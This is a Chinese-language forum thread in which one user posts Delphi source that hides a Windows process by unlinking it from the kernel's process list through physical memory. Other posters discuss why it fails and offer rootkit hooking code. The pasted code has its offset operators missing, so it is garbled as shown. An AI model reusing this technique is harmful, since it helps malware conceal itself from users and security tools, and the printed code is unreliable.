我download了這個程序是可以隱藏自已的
請問是如何做到的我copy了令到隱藏的源碼出來 如下:
function YHideProcess: Boolean;
var
thread, process: DWORD;
fw, bw: DWORD;
begin
// SetUnhandledExceptionFilter(exeception);
if (FALSE = InitNTDLL) then
begin
Result := FALSE;
Exit;
end;

if (0 = OpenPhysicalMemory) then
begin
Result := FALSE;
Exit;
end;

thread := GetData(Pointer($FFDFF124)); //kteb
process := GetData(Pointer(thread $44)); //kpeb

if (0 = g_osvi.dwMinorVersion) then
begin
fw := GetData(Pointer(process $A0));
bw := GetData(Pointer(process $A4));

SetData(Pointer(fw 4), bw);
SetData(Pointer(bw), fw);

Result := TRUE;
end
else if (1 = g_osvi.dwMinorVersion) then
begin
fw := GetData(Pointer(process $88));
bw := GetData(Pointer(process $8C));

SetData(Pointer(fw 4), bw);
SetData(Pointer(bw), fw);

Result := TRUE;
end
else
begin
Result := False;
end;

CloseHandle(g_hMPM);
CloseNTDLL;
end;

function MyHideProcess: Boolean;
begin
if not b_hide then
begin
b_hide := YHideProcess;
end;

Result := b_hide;
end;

end.

附加檔案：200608071358203303.rar

我試的結果是不行的。初步看的原理是透過修改內存導入表，使其隱藏。
不過看起來這個程式是失敗的。

另一種是透過 Hook NtQuerySystemInformation 方式。
有興趣我在 Email 給你！或者到 RootKit 挖寶

參考

好呀 我要 你那個是用什麼語言寫成的 c 還是delphi
===================引 用 文 章===================

我試的結果是不行的。初步看的原理是透過修改內存導入表，使其隱藏。
不過看起來這個程式是失敗的。

另一種是透過 Hook NtQuerySystemInformation 方式。
有興趣我在 Email 給你！或者到 RootKit 挖寶

參考